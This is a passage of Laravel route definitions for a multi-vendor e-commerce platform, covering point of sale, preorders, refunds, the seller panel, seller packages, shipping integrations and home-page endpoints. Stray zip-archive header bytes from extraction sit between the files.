'invoice')->name('admin.invoice.thermal_printer'); Route::get('/pos/search-customers', 'getCustomers')->name('pos.search-customers'); Route::get('/pos-orders', 'posOrders')->name('pos.orders'); Route::get('/pos-products', 'all_pos_products')->name('admin.pos.products'); Route::post('/pos-products-update', 'productUpdatetoPOS')->name('admin.pos.products.update'); Route::post('/pos-products-search', 'pos_products_search')->name('admin.pos.products.search'); }); }); //Seller Route::group(['prefix' => 'seller', 'middleware' => ['seller', 'verified']], function () { Route::controller(SellerPosController::class)->group(function () { Route::get('/pos', 'index')->name('poin-of-sales.seller_index'); Route::get('/pos/products', 'search')->name('pos.search_seller_product'); Route::post('/add-to-cart-pos', 'addToCart')->name('seller.pos.addToCart'); Route::post('/update-quantity-cart-pos', 'updateQuantity')->name('seller.pos.updateQuantity'); Route::post('/remove-from-cart-pos', 'removeFromCart')->name('seller.pos.removeFromCart'); Route::post('/update-session-user-cart-data', 'updateSessionUserCartData')->name('seller.pos.updateSessionUserCartData'); Route::post('/get_shipping_address', 'getShippingAddress')->name('seller.pos.getShippingAddress'); Route::post('/setDiscount', 'setDiscount')->name('seller.pos.setDiscount'); Route::post('/setShipping', 'setShipping')->name('seller.pos.setShipping'); Route::post('/set-shipping-address', 'set_shipping_address')->name('seller.pos.set-shipping-address'); Route::post('/pos-order-summary', 'get_order_summary')->name('seller.pos.getOrderSummary'); Route::post('/pos-order', 'order_store')->name('seller.pos.order_place'); Route::get('/pos-configuration', 'configuration')->name('pos.configuration'); Route::post('/pos-configuration/update', 'posConfigurationUpdate')->name('pos_configuration.update'); Route::get('/pos/thermal-printer/{order_id}', 'invoice')->name('seller.invoice.thermal_printer'); Route::get('/pos/search-customers', 'getCustomers')->name('seller.pos.search-customers'); Route::get('/pos-orders', 'posOrders')->name('seller.pos.orders'); Route::get('/pos-products', 'all_pos_products')->name('seller.pos.products'); Route::post('/pos-products-update', 'productUpdatetoPOS')->name('seller.pos.products.update'); Route::post('/pos-products-search', 'pos_products_search')->name('seller.pos.products.search'); }); }); PKÌN]26±’Š9Š9 preorder.phpnu„[µü¤ ['isPreorder', ]], function () { // Admin Routes Route::group(['prefix' => 'admin/preorder', 'middleware' => ['auth', 'admin', 'prevent-back-history']], function () { // Admin Dashboard Route::controller(DashboardController::class)->group(function () { Route::get('/dashboard', 'index')->name('preorder.dashboard'); Route::post('/dashboard/preorder-by-products-section', 'preorderByProductsSection')->name('dashboard.preorder-by-products-section'); }); // Preorder Products Route::resource('preorder-product', PreorderProductController::class); Route::controller(PreorderProductController::class)->group(function () { Route::get('/preorder-product/edit/{id}', 'edit')->name('preorder-product.edit'); Route::get('/preorder-product/destroy/{id}', 'destroy')->name('preorder-product.destroy'); Route::post('/preorder-product/bulk-destroy', 'bulkProductDestroy')->name('preorder-product.bulk-destroy'); Route::post('/preorder-product/published', 'preorder_product_published')->name('preorder-product.published'); Route::post('/preorder-product/approval', 'preorderProductApproval')->name('preorder-product.approval'); Route::post('/preorder-product/featured', 'preorder_product_featured')->name('preorder-product.featured'); Route::post('/preorder-product/show-on-homepage', 'preorder_product_show_on_homepage')->name('preorder-product.show_on_homepage'); }); // Preorders Route::controller(OrderController::class)->group(function () { Route::get('/all-order-list', 'order_list')->name('all_preorder.list'); Route::get('/inhouse-order-list', 'order_list')->name('inhouse_preorder.list'); Route::get('/seller-order-list', 'order_list')->name('seller_preorder.list'); Route::get('/delayed-prepayment-preorders-list', 'order_list')->name('delayed_prepayment_preorders.list'); Route::get('/delayed-final-orders-list', 'order_list')->name('delayed_final_orders.list'); Route::get('/order/{id}', 'show')->name('preorder-order.show'); Route::get('/order/destroy/{id}', 'destroy')->name('preorder-order.destroy'); Route::post('/bulk-preorder-delete', 'bulkPreorderDelete')->name('bulk-preorder-delete'); Route::put('/order/update/{id}', 'order_status_update')->name('preorder-order.status_update'); Route::post('prepayment-final-preorder-reminder', 'prepaymentFinalPreorderReminder')->name('prepayment_final_preorder_reminder'); }); Route::controller(PreorderController::class)->group(function() { Route::get('/preorder-settings', 'preorderSettings')->name('preorder-settings'); }); // Seller Commission History Route::controller(PreorderCommissionHistoryController::class)->group(function() { Route::get('preorder-commission-history', 'index')->name('preorder-commission-history'); }); //conversation of Product owner & customer Route::controller(PreorderConversationController::class)->group(function () { Route::get('conversations', 'adminIndex')->name('preorder-conversations.admin_index'); Route::get('conversations/{id}/show', 'adminShow')->name('preorder-conversations.admin_show'); Route::post('conversations/message-reply', 'messageReply')->name('preorder-conversations.admin_reply'); Route::get('conversations/destroy/{id}', 'conversationDestroy')->name('preorder-conversations.destroy'); }); // FAQs Route::resource('faqs', FaqController::class); Route::controller(FaqController::class)->group(function () { Route::get('/faq/edit/{id}', 'edit')->name('faq.edit'); Route::post('/faq/update-status', 'updateStatus')->name('faq.update-status'); Route::get('/faq/destroy/{id}', 'destroy')->name('faq.destroy'); }); // product Queries show on Admin panel Route::controller(PreorderProductQueryController::class)->group(function () { Route::get('/preorder-product-queries', 'index')->name('preorder.product_query.index'); Route::get('/preorder-product-queries/{id}', 'show')->name('preorder.product_query.show'); Route::put('/preorder-product-queries/{id}', 'reply')->name('preorder.product_query.reply'); }); // Product Reviews Route::controller(PreorderProductReviewController::class)->group(function () { Route::get('/preorder-product-reviews', 'adminIndex')->name('preorder.product_reviews.index'); Route::post('/preorder-product/reviews/update-status', 'updateStatus')->name('preorder.product_reviews.update_status'); Route::get('/preorder-product/reviews/detail-reviews/{id}', 'detailReviews')->name('preorder.product_detail_reviews'); }); // Notification Types Route::resource('preorder-notification-types', NotificationTypeController::class); Route::controller(NotificationTypeController::class)->group(function () { Route::get('/preorder-notification/edit/{id}', 'edit')->name('preorder.notification-type.edit'); }); }); // Seller Routes Route::group(['prefix' => 'seller/preorder', 'middleware' => ['seller', 'verified', 'user'], 'as' => 'seller.'], function() { Route::controller(SellerDashboardController::class)->group(function () { Route::get('/dashboard', 'index')->name('preorder.dashboard'); }); Route::controller(SellerPreorderController::class)->group(function() { Route::get('/preorder-settings', 'preorderSettings')->name('preorder-settings'); Route::post('/preorder-instruction-update', 'updatePreorderInstruction')->name('preorder-instruction-update'); }); Route::resource('preorder-product', SellerPreorderProductController::class); Route::controller(SellerPreorderProductController::class)->group(function () { Route::get('/preorder-product/edit/{id}', 'edit')->name('preorder-product.edit'); Route::get('/preorder-product/destroy/{id}', 'destroy')->name('preorder-product.destroy'); Route::post('/preorder-product/bulk-destroy', 'bulkProductDestroy')->name('preorder-product.bulk-destroy'); Route::post('/preorder-product/published', 'preorder_product_published')->name('preorder-product.published'); Route::post('/preorder-product/featured', 'preorder_product_featured')->name('preorder-product.featured'); }); Route::controller(SellerOrderController::class)->group(function () { Route::get('/all-order-list', 'index')->name('all_preorder.list'); Route::get('/delayed-prepayment-preorders-list', 'index')->name('delayed_prepayment_preorders.list'); Route::get('/delayed-final-orders-list', 'index')->name('delayed_final_orders.list'); // Route::get('order-list', 'index')->name('preorders.index'); Route::get('/order/{id}', 'show')->name('preorder-order.show'); Route::get('/order/destroy/{id}', 'destroy')->name('preorder-order.destroy'); Route::post('/bulk-preorder-delete', 'bulkPreorderDelete')->name('bulk-preorder-delete'); Route::put('/order/update/{id}', 'orderStatusUpdate')->name('preorder-order.status_update'); }); // Seller Commission History Route::controller(SellerPreorderCommissionHistoryController::class)->group(function() { Route::get('preorder-commission-history', 'index')->name('preorder-commission-history'); }); // product query (comments) show on seller panel Route::controller(SellerPreorderProductQueryController::class)->group(function () { Route::get('/product-queries', 'index')->name('preorder_product_query.index'); Route::get('/product-queries/{id}', 'show')->name('preorder_product_query.show'); Route::put('/product-queries/{id}', 'reply')->name('preorder_product_query.reply'); }); Route::controller(SellerPreorderProductReviewController::class)->group(function () { Route::get('/product-reviews', 'index')->name('preorder_product_reviews'); Route::get('/product/detail-reviews/{id}', 'detailReviews')->name('preorder_product_detail_reviews'); }); //conversation of Product owner & customer Route::controller(SellerPreorderConversationController::class)->group(function () { Route::get('conversations', 'index')->name('preorder-conversations.index'); Route::get('conversations/{id}/show', 'show')->name('preorder-conversations.show'); Route::post('conversations/message-reply', 'messageReply')->name('preorder-conversations.reply'); Route::get('conversations/destroy', 'messageReply')->name('preorder-conversations.destroy'); }); }); // frontend Route::group(['prefix' => 'preorder'], function () { Route::get('product/{slug}',[ProductController::class,'product_details'])->name('preorder-product.details'); Route::group(['middleware' => ['user', 'verified', 'unbanned']], function () { Route::controller(PreorderController::class)->group(function () { Route::post('/updateDeliveryAddress', 'updateDeliveryAddress')->name(name: 'updateDeliveryAddress'); Route::post('/place-order', 'place_order')->name('preorder.place_order'); Route::get('/order-list', 'order_list')->name('preorder.order_list'); Route::get('/order-details/{id}', 'order_details')->name('preorder.order_details'); Route::put('/order-details/{id}', 'order_update')->name('preorder.order_update'); Route::post('/apply-coupon-code', 'apply_coupon_code')->name('preorder.apply_coupon_code'); Route::post('/remove-coupon-code', 'remove_coupon_code')->name('preorder.remove_coupon_code'); }); // Product Review Route::resource('/preorder-product-reviews', PreorderProductReviewController::class); Route::post('/product-review-modal', [PreorderProductReviewController::class, 'product_review_modal'])->name('preorder.product_review_modal'); // Conversation Route::controller(PreorderConversationController::class)->group(function () { Route::post('/conversation-modal', 'preorderConversationModal')->name('preorder.conversation_modal'); Route::post('/conversation-store', 'store')->name('preorder.conversations.store'); Route::get('/conversations', 'customerIndex')->name('preorder-conversations.customer-index'); Route::get('/conversation/{id}/show', 'customerShow')->name('preorder-conversations.customer-show'); Route::post('/conversation/refresh', 'refresh')->name('preorder.conversations.refresh'); Route::post('/conversations/message-reply', 'messageReplyCustomer')->name('preorder-conversations.customer_reply'); }); }); }); // Common Routes Route::group(['prefix' => 'preorder', 'middleware' => ['auth']], function () { Route::controller(PreorderProductController::class)->group(function () { Route::post('/preordr-product/search', 'product_search')->name('preorder_product.search'); Route::post('/get-selected-preorder-products', 'get_selected_products')->name('get-selected-preorder-products'); }); // Product Query Route::resource('preorder-product-queries', PreorderProductQueryController::class); Route::get('/invoice-download/{id}', [OrderController::class,'invoice_download'])->name('preorder.invoice_download'); Route::get('/invoice-preview/{id}', [OrderController::class,'invoice_preview'])->name('preorder.invoice_preview'); }); // guest routes for preorder Route::get('/all-preorder-products', [PreorderProductController::class,'all_preorder_products'])->name('all_preorder_products'); Route::get('/preorder/category/{category_slug}', [PreorderProductController::class,'listingByCategory'])->name('preorder.category'); Route::get('/how-to-preorder', [PreorderProductController::class,'how_to_preorder'])->name('how_to_preorder'); });PKÌN]¬dõ==refund_request.phpnu„[µü¤ 'admin', 'middleware' => ['auth', 'admin']], function () { Route::controller(RefundRequestController::class)->group(function () { Route::get('/refund-request-all', 'admin_index')->name('refund_requests_all'); Route::get('/dispute-refund-request-all', 'admin_dispute_index')->name('dispute_refund_requests_all'); Route::get('/refund-request-config', 'refund_config')->name('refund_time_config'); Route::post('/admin/reject-refund-request', 'reject_refund_request')->name('admin.reject_refund_request'); Route::post('/refund-request-pay', 'refund_pay')->name('refund_request_money_by_admin'); Route::post('/dispute-refund-request-pay', 'dispute_refund_pay')->name('dispute_refund_request_money_by_admin'); Route::post('/refund-request-time-store', 'refund_time_update')->name('refund_request_time_config'); Route::post('/refund-request-sticker-store', 'refund_sticker_update')->name('refund_sticker_config'); Route::get('/categories-wise-product-refund', 'categoriesWiseProductRefund')->name('categories_wise_product_refund'); Route::get('/categories-filter', 'filter_categories')->name('refund_categories.filter'); Route::post('/categories/update-refund-settings', 'updateRefundSettings')->name('categories.update-refund-settings'); Route::post('/admin/products/check-refundable-category', 'checkRefundableCategory')->name('admin.products.check_refundable_category'); Route::post('/offline-refund-request-pay', 'refund_offline_pay')->name('refund_request_offline_money_by_admin'); Route::post('/offline-dispute-refund-request-pay', 'dispute_refund_offline_pay')->name('dispute_refund_request_offline_money_by_admin'); Route::get('/refund-requests-filter', 'filter_refund_request')->name('refund_requests.filter'); Route::get('/dispute-refund-requests-filter', 'filter_dispute_refund_request')->name('dispute_refund_requests.filter'); Route::post('/payment-info-modal', 'payment_info_modal')->name('view_payment_info_modal'); Route::post('/refund-request-view', 'refund_request_view')->name('refund_request_view'); Route::post('/dispute-refund-request-time-store', 'dispute_refund_time_update')->name('dispute_refund_request_time_config'); Route::post('/bulk-refund-days-assign', 'updateBulkRefundDaysAssign')->name('categories.bulk-refund-days-assign'); }); Route::controller(RefundReasonController::class)->group(function () { Route::get('/refund-reason-index', 'index')->name('refund_reason_index'); Route::get('/refund-reason-create', 'create')->name('refund_reason_create'); Route::post('/refund-reason-store', 'store')->name('refund_reason_store'); Route::get('/refund-reason-filter', 'filter')->name('refund_reason_filter'); Route::get('/refund-reason-edit/{id}', 'edit')->name('refund_reason_edit'); Route::post('/refund-reason-update/{id}', 'update')->name('refund_reason_update'); Route::post('/refund-reason-store-ajax', 'storeAjax')->name('refund.reason.store.ajax'); Route::post('/refund-reason-update-status', 'update_status')->name('refund_reason.update-status'); Route::post('/refund-reason-bulk-update', 'bulk_update')->name('refund_reason_bulk_update'); }); }); //FrontEnd User panel Route::group(['middleware' => ['user', 'verified']], function () { Route::controller(RefundRequestController::class)->group(function () { Route::post('refund-request-send/{id}', 'request_store')->name('refund_request_send'); Route::post('dispute-refund-request-send/{id}', 'dispute_request_store')->name('dispute_refund_request_send'); Route::get('sent-refund-request', 'customer_index')->name('customer_refund_request'); Route::get('refund-request/{id}', 'refund_request_send_page')->name('refund_request_send_page'); Route::get('dispute-refund-request/{id}', 'dispute_refund_request_send_page')->name('dispute_refund_request_send_page'); Route::post('/customer-refund-request-view', 'refund_request_view')->name('customer_refund_request_view'); }); }); //Seller panel Route::group(['middleware' => ['seller', 'user', 'verified']], function () { Route::controller(RefundRequestController::class)->group(function () { Route::get('/seller/refund-request', 'vendor_index')->name('seller.vendor_refund_request'); Route::get('/seller/refund-request-filter', 'seller_filter')->name('seller.refund_requests.filter'); Route::get('/seller/refund-configuration', 'seller_refund_configuration')->name('seller.refund_configuration'); Route::get('/categories-wise-product-refund', 'sellerCategoriesWiseProductRefund')->name('seller.categories_wise_product_refund'); Route::post('seller/refund-reuest-vendor-approval', 'request_approval_vendor')->name('seller.vendor_refund_approval'); Route::post('/seller/reject-refund-request', 'reject_refund_request')->name('seller.reject_refund_request'); Route::post('/seller/refund-request-view', 'refund_request_view')->name('seller.refund_request_view'); Route::post('/seller/products/check-refundable-category', 'checkSellerRefundableCategory')->name('seller.products.check_refundable_category'); Route::post('/seller/offline-refund-request-pay', 'refund_offline_pay')->name('refund_request_offline_money_by_seller'); Route::post('/seller/refund-request-pay', 'refund_pay')->name('refund_request_money_by_seller'); Route::post('/seller/payment-info-modal', 'payment_info_modal')->name('seller.view_payment_info_modal'); Route::get('/seller/refund-categories-filter', 'seller_filter_categories')->name('seller.refund_categories.filter'); }); }); PKÌN]òçýþ5/5/ seller.phpnu„[µü¤ 'seller', 'middleware' => ['seller', 'verified', 'user', 'prevent-back-history'], 'as' => 'seller.'], function () { Route::controller(AizUploadController::class)->group(function () { Route::any('/uploads', 'index')->name('uploaded-files.index'); Route::any('/uploads/create', 'create')->name('uploads.create'); Route::any('/uploads/file-info', 'file_info')->name('my_uploads.info'); Route::get('/uploads/destroy/{id}', 'destroy')->name('my_uploads.destroy'); Route::post('/bulk-uploaded-files-delete', 'bulk_uploaded_files_delete')->name('bulk-uploaded-files-delete'); }); }); Route::group(['namespace' => 'App\Http\Controllers\Seller', 'prefix' => 'seller', 'middleware' => ['seller', 'verified', 'user', 'prevent-back-history'], 'as' => 'seller.'], function () { Route::controller(DashboardController::class)->group(function () { Route::get('/dashboard', 'index')->name('dashboard'); }); // Product Route::controller(ProductController::class)->group(function () { Route::get('/products', 'index')->name('products'); Route::get('/product/create', 'create')->name('products.create'); Route::post('/products/store/', 'store')->name('products.store'); Route::get('/product/{id}/edit', 'edit')->name('products.edit'); Route::post('/products/update/{product}', 'update')->name('products.update'); Route::get('/products/duplicate/{id}', 'duplicate')->name('products.duplicate'); Route::post('/products/sku_combination', 'sku_combination')->name('products.sku_combination'); Route::post('/products/sku_combination_edit', 'sku_combination_edit')->name('products.sku_combination_edit'); Route::post('/products/add-more-choice-option', 'add_more_choice_option')->name('products.add-more-choice-option'); Route::post('/products/seller/featured', 'updateFeatured')->name('products.featured'); Route::post('/products/published', 'updatePublished')->name('products.published'); Route::get('/products/destroy/{id}', 'destroy')->name('products.destroy'); Route::get('/products/single_destroy/{id}', 'single_destroy')->name('products.single_destroy'); Route::post('/products/bulk-delete', 'bulk_product_delete')->name('products.bulk-delete'); Route::post('/product-search', 'product_search')->name('product.search'); Route::post('/get-selected-products', 'get_selected_products')->name('get-selected-products'); // category-wise discount set Route::get('/categories-wise-product-discount', 'categoriesWiseProductDiscount')->name('categories_wise_product_discount'); Route::post('/set-product-discount', 'setProductDiscount')->name('set_product_discount'); Route::get('/filter-products', 'get_filter_products')->name('products.filter'); Route::post('/bulk-product-stock-update', 'bulk_product_stock_update')->name('bulk-product-stock-update'); Route::get('/stock/show/{id}', 'stockShow')->name('stock.show'); }); // Product Bulk Upload Route::controller(ProductBulkUploadController::class)->group(function () { Route::get('/product-bulk-upload/index', 'index')->name('product_bulk_upload.index'); Route::post('/product-bulk-upload/store', 'bulk_upload')->name('bulk_product_upload'); Route::group(['prefix' => 'bulk-upload/download'], function() { Route::get('/category', 'pdf_download_category')->name('pdf.download_category'); Route::get('/brand', 'pdf_download_brand')->name('pdf.download_brand'); }); }); // Digital Product Route::controller(DigitalProductController::class)->group(function () { Route::get('/digitalproducts', 'index')->name('digitalproducts'); Route::get('/digitalproducts/create', 'create')->name('digitalproducts.create'); Route::post('/digitalproducts/store', 'store')->name('digitalproducts.store'); Route::get('/digitalproducts/{id}/edit', 'edit')->name('digitalproducts.edit'); Route::post('/digitalproducts/update/{product}', 'update')->name('digitalproducts.update'); Route::get('/digitalproducts/destroy/{id}', 'destroy')->name('digitalproducts.destroy'); Route::get('/digitalproducts/download/{id}', 'download')->name('digitalproducts.download'); }); // custom label Route::controller(CustomLabelController::class)->group(function () { Route::get('/custom-label-list', 'index')->name('custom_label.index'); Route::get('/custom-label-create', 'create')->name('custom_label.create'); Route::post('/custom-label-store', 'store')->name('custom_label.store'); Route::get('/custom-label-edit/{id}', 'edit')->name('custom_label.edit'); Route::post('/custom-label-update/{id}', 'update')->name('custom_label.update'); Route::get('/custom-label-delete/{id}', 'destroy')->name('custom_label.delete'); Route::post('/custom-label/products', 'products')->name('custom_label.products'); }); // Note Route::resource('note', NoteController::class); Route::controller(NoteController::class)->group(function () { Route::get('/note/edit/{id}', 'edit')->name('note.edit'); Route::get('note/delete/{note}', 'destroy')->name('note.delete'); }); //Coupon Route::resource('coupon', CouponController::class); Route::controller(CouponController::class)->group(function () { Route::post('/coupon/get_form', 'get_coupon_form')->name('coupon.get_coupon_form'); Route::post('/coupon/get_form_edit', 'get_coupon_form_edit')->name('coupon.get_coupon_form_edit'); Route::get('/coupon/destroy/{id}', 'destroy')->name('coupon.destroy'); }); //Order Route::resource('orders', OrderController::class); Route::controller(OrderController::class)->group(function () { Route::post('/orders/update_delivery_status', 'update_delivery_status')->name('orders.update_delivery_status'); Route::post('/orders/update_payment_status', 'update_payment_status')->name('orders.update_payment_status'); // Order bulk export Route::get('/order-bulk-export', 'orderBulkExport')->name('order-bulk-export'); Route::get('/filtered-orders', 'get_filter_orders')->name('orders.filter'); }); Route::controller(InvoiceController::class)->group(function () { Route::get('/invoice/{order_id}', 'invoice_download')->name('invoice.download'); }); //Review Route::controller(ReviewController::class)->group(function () { Route::get('/product-reviews', 'index')->name('product-reviews'); Route::get('/product/detail-reviews/{id}', 'detailReviews')->name('detail-reviews'); }); //Shop Route::controller(ShopController::class)->group(function () { Route::get('/shop', 'index')->name('shop.index'); Route::post('/shop/update', 'update')->name('shop.update'); Route::post('/shop/banner-update', 'bannerUpdate')->name('shop.banner.update'); Route::get('/shop/apply-for-verification', 'verify_form')->name('shop.verify'); Route::post('/shop/verification_info_store', 'verify_form_store')->name('shop.verify.store'); Route::get('/category-wise-commission', 'categoriesWiseCommission')->name('categories-wise-commission'); }); //Payments Route::resource('payments', PaymentController::class); // Profile Settings Route::controller(ProfileController::class)->group(function () { Route::get('/profile', 'index')->name('profile.index'); Route::post('/profile/update/{id}', 'update')->name('profile.update'); }); // Address Route::resource('addresses', AddressController::class); Route::controller(AddressController::class)->group(function () { Route::post('/get-states', 'getStates')->name('get-state'); Route::post('/get-cities', 'getCities')->name('get-city'); Route::post('/address/update/{id}', 'update')->name('addresses.update'); Route::get('/addresses/destroy/{id}', 'destroy')->name('addresses.destroy'); Route::get('/addresses/set_default/{id}', 'set_default')->name('addresses.set_default'); }); // Money Withdraw Requests Route::controller(SellerWithdrawRequestController::class)->group(function () { Route::get('/money-withdraw-requests', 'index')->name('money_withdraw_requests.index'); Route::post('/money-withdraw-request/store', 'store')->name('money_withdraw_request.store'); }); // Commission History Route::controller(CommissionHistoryController::class)->group(function () { Route::get('/commission-history', 'index')->name('commission-history.index'); }); //Conversations Route::controller(ConversationController::class)->group(function () { Route::get('/conversations', 'index')->name('conversations.index'); Route::get('/conversations/show/{id}', 'show')->name('conversations.show'); Route::post('conversations/refresh', 'refresh')->name('conversations.refresh'); Route::post('conversations/message/store', 'message_store')->name('conversations.message_store'); }); // product query (comments) show on seller panel Route::controller(ProductQueryController::class)->group(function () { Route::get('/product-queries', 'index')->name('product_query.index'); Route::get('/product-queries/{id}', 'show')->name('product_query.show'); Route::put('/product-queries/{id}', 'reply')->name('product_query.reply'); }); // Support Ticket Route::controller(SupportTicketController::class)->group(function () { Route::get('/support_ticket', 'index')->name('support_ticket.index'); Route::post('/support_ticket/store', 'store')->name('support_ticket.store'); Route::get('/support_ticket/show/{id}', 'show')->name('support_ticket.show'); Route::post('/support_ticket/reply', 'ticket_reply_store')->name('support_ticket.reply_store'); }); // Notifications Route::controller(NotificationController::class)->group(function () { Route::get('/all-notification', 'index')->name('all-notification'); Route::post('/notifications/bulk-delete', 'bulkDelete')->name('notifications.bulk_delete'); Route::get('/notification/read-and-redirect/{id}', 'readAndRedirect')->name('notification.read-and-redirect'); }); Route::controller(GSTController::class)->group(function () { Route::get('/gst-configuration', 'configure_index')->name('gst.configconfiguration'); Route::post('/gst-docs-update', 'update_documents')->name('update_gst_docs'); Route::get('/product-hsn-gst-assign', 'hsn_gst_assign')->name('products.hsn-gst.assigns'); Route::get('/wholesale-product-hsn-gst-assign', 'wholesale_hsn_gst_assign')->name('products.wholesale-hsn-gst.assigns'); Route::get('/auction-product-hsn-gst-assign', 'auction_hsn_gst_assign')->name('products.auction-hsn-gst.assigns'); Route::get('/preorder-product-hsn-gst-assign', 'preorder_hsn_gst_assign')->name('products.preorder-hsn-gst.assigns'); Route::post('/products-hsn-gst-single-update', 'updateHsnGstRate')->name('products.single-hsn-gst.update'); Route::post('/bulk-product-gst-assign', 'updateBulkHsnGstRate')->name('products.bulk-product-gst-assign'); Route::get('/products/gst/products/{type}', 'get_filter_products')->name('products.gst.filter'); }); }); PKÌN] åq$seller_package.phpnu„[µü¤'admin', 'middleware' => ['auth', 'admin']], function(){ Route::resource('seller_packages', SellerPackageController::class); Route::controller(SellerPackageController::class)->group(function () { Route::get('/seller_packages/edit/{id}', 'edit')->name('seller_packages.edit'); Route::get('/seller_packages/destroy/{id}', 'destroy')->name('seller_packages.destroy'); }); }); //FrontEnd Route::group(['middleware' => ['seller']], function(){ Route::controller(SellerPackageController::class)->group(function () { Route::get('/seller/seller-packages', 'seller_packages_list')->name('seller.seller_packages_list'); Route::get('/seller/packages-payment-list', 'packages_payment_list')->name('seller.packages_payment_list'); Route::post('/seller_packages/purchase', 'purchase_package')->name('seller_packages.purchase'); }); }); Route::get('/seller_packages/check_for_invalid', [SellerPackageController::class, 'unpublish_products'])->name('seller_packages.unpublish_products'); PKÌN]ìÆ§§shiprocket.phpnu„[µü¤ 'admin', 'middleware' => ['auth', 'admin']], function () { Route::controller(ShiprocketController::class)->group(function () { Route::post('/shiprocket-settings-update', 'update')->name('shiprocket_settings.update'); Route::post('/orders/confirm-shiprocket-info', 'createOrderShiprocket')->name('orders.confirm_shiprocket_info'); Route::post('shiprocket/couriers', 'getCouriers')->name('shiprocket.couriers'); Route::post('shiprocket/assign-awb', 'assignAWB')->name('shiprocket.assign.awb'); Route::get('shiprocket/download-label/{order}', 'downloadLabel')->name('shiprocket.download.label'); Route::get('shiprocket/download-manifest/{order}', 'downloadManifest')->name('shiprocket.download.manifest'); Route::post('/shiprocket/request-pickup','requestPickup')->name('shiprocket.request.pickup'); }); }); Route::controller(ShiprocketController::class)->group(function () { // for cron job of shiprocket delivery status Route::get('/shiprocket/delivery-status', 'deliveryStatus')->name('shiprocket.delivery-status'); Route::get('/shiprocket/order-status', 'orderStatus')->name('shiprocket.order-status'); });PKÌN]%õ޳ steadfast.phpnu„[µü¤ 'admin', 'middleware' => ['auth', 'admin']], function () { Route::controller(SteadfastController::class)->group(function () { Route::post('/steadfast-settings-update', 'steadfast_update')->name('steadfast.update'); Route::post('/steadfast/order-create', 'createOrder')->name('steadfast.create.order'); }); }); Route::controller(SteadfastController::class)->group(function () { //for cron job Route::get('/steadfast/delivery-status', 'deliveryStatus')->name('steadfast.delivery-status'); });PKÌN]vd‘nn update.phpnu„[µü¤group(function () { Route::get('/demo/cron_1', 'cron_1'); Route::get('/demo/cron_2', 'cron_2'); Route::get('/convert_assets', 'convert_assets'); Route::get('/convert_category', 'convert_category'); Route::get('/convert_tax', 'convertTaxes'); Route::get('/set-category', 'setCategoryToProductCategory'); Route::get('/insert_product_variant_forcefully', 'insert_product_variant_forcefully'); Route::get('/update_seller_id_in_orders/{id_min}/{id_max}', 'update_seller_id_in_orders'); Route::get('/migrate_attribute_values', 'migrate_attribute_values'); }); Route::get('/refresh-csrf', function () { return csrf_token(); }); // AIZ Uploader Route::controller(AizUploadController::class)->group(function () { Route::post('/aiz-uploader', 'show_uploader'); Route::post('/aiz-uploader/upload', 'upload'); Route::get('/aiz-uploader/get-uploaded-files', 'get_uploaded_files'); Route::post('/aiz-uploader/get_file_by_ids', 'get_preview_files'); Route::get('/aiz-uploader/download/{id}', 'attachment_download')->name('download_attachment'); }); Route::group(['middleware' => ['prevent-back-history','handle-demo-login']], function () { Auth::routes(['verify' => true]); }); // Login Route::controller(LoginController::class)->group(function () { Route::get('/logout', 'logout'); Route::get('/social-login/redirect/{provider}', 'redirectToProvider')->name('social.login'); Route::get('/social-login/{provider}/callback', 'handleProviderCallback')->name('social.callback'); //Apple Callback Route::post('/apple-callback', 'handleAppleCallback'); Route::get('/account-deletion', 'account_deletion')->name('account_delete'); Route::get('/handle-demo-login', 'handle_demo_login')->name('handleDemoLogin'); }); Route::controller(VerificationController::class)->group(function () { Route::get('/email/resend', 'resend')->name('verification.resend'); Route::get('/verification-confirmation/{code}', 'verification_confirmation')->name('email.verification.confirmation'); }); Route::resource('shops', ShopController::class)->middleware('handle-demo-login'); Route::controller(ShopController::class)->group(function () { Route::get('/shop/registration/verification', 'verifyRegEmailorPhone')->name('shop-reg.verification'); Route::post('/shop/registration/verification-code-send', 'sendRegVerificationCode')->name('shop-reg.verification_code_send'); Route::get('/shop/registration/verify-code/{id}', 'regVerifyCode')->name('shop-reg.verify_code'); Route::post('/shop/registration/verification-code-confirmation', 'regVerifyCodeConfirmation')->name('shop-reg.verify_code_confirmation'); }); Route::controller(HomeController::class)->group(function () { Route::post('/registration/verification-code-send', 'sendRegVerificationCode')->name('customer-reg.verification_code_send'); Route::get('/registration/verify-code/{id}', 'regVerifyCode')->name('customer-reg.verify_code'); Route::post('/registration/verification-code-confirmation', 'regVerifyCodeConfirmation')->name('customer-reg.verify_code_confirmation'); Route::get('/email-change/callback', 'email_change_callback')->name('email_change.callback'); Route::post('/password/reset/email/submit', 'reset_password_with_code')->name('password.update'); Route::get('/users/login', 'login')->name('user.login')->middleware('handle-demo-login'); Route::get('/seller/login', 'login')->name('seller.login')->middleware('handle-demo-login'); Route::get('/deliveryboy/login', 'login')->name('deliveryboy.login')->middleware('handle-demo-login'); Route::get('/users/registration', 'registration')->name('user.registration')->middleware('handle-demo-login')->middleware('portfolio-view'); Route::post('/users/login/cart', 'cart_login')->name('cart.login.submit')->middleware('handle-demo-login'); Route::post('/import-data', 'import_data'); //Home Page Route::get('/', 'index')->name('home'); Route::post('/home/section/featured', 'load_featured_section')->name('home.section.featured'); Route::post('/home/section/todays-deal', 'load_todays_deal_section')->name('home.section.todays_deal'); Route::post('/home/section/best-selling', 'load_best_selling_section')->name('home.section.best_selling'); Route::post('/home/section/newest-products', 'load_newest_product_section')->name('home.section.newest_products'); Route::post('/home/section/home-categories', 'load_home_categories_section')->name('home.section.home_categories'); Route::post('/home/section/best-sellers', 'load_best_sellers_section')->name('home.section.best_sellers'); Route::post('/home/section/preorder-products', 'load_preorder_featured_products_section')->name('home.section.preorder_products'); //category dropdown menu ajax call Route::post('/category/nav-element-list', 'get_category_items')->name('category.elements'); //Flash Deal Details Page Route::get('/flash-deals', 'all_flash_deals')->name('flash-deals')->middleware('portfolio-view'); Route::get('/flash-deal/{slug}', 'flash_deal_details')->name('flash-deal-details'); //Todays Deal Details Page Route::get('/todays-deal', 'todays_deal')->name('todays-deal')->middleware('portfolio-view'); //Best Selling Page Route::get('/best-selling', 'best_selling')->name('best-selling')->middleware('portfolio-view'); Route::get('/same-seller-products/{slug}','same_sellers_products')->name('same_seller_products')->middleware('portfolio-view'); //Featured Products Page Route::get('/featured-products', 'featured_products')->name('featured-products'); Route::get('/product/{slug}', 'product')->name('product')->middleware('portfolio-view'); Route::post('/product/variant-price', 'variant_price')->name('products.variant_price'); Route::get('/shop/{slug}', 'shop')->name('shop.visit')->middleware('portfolio-view'); 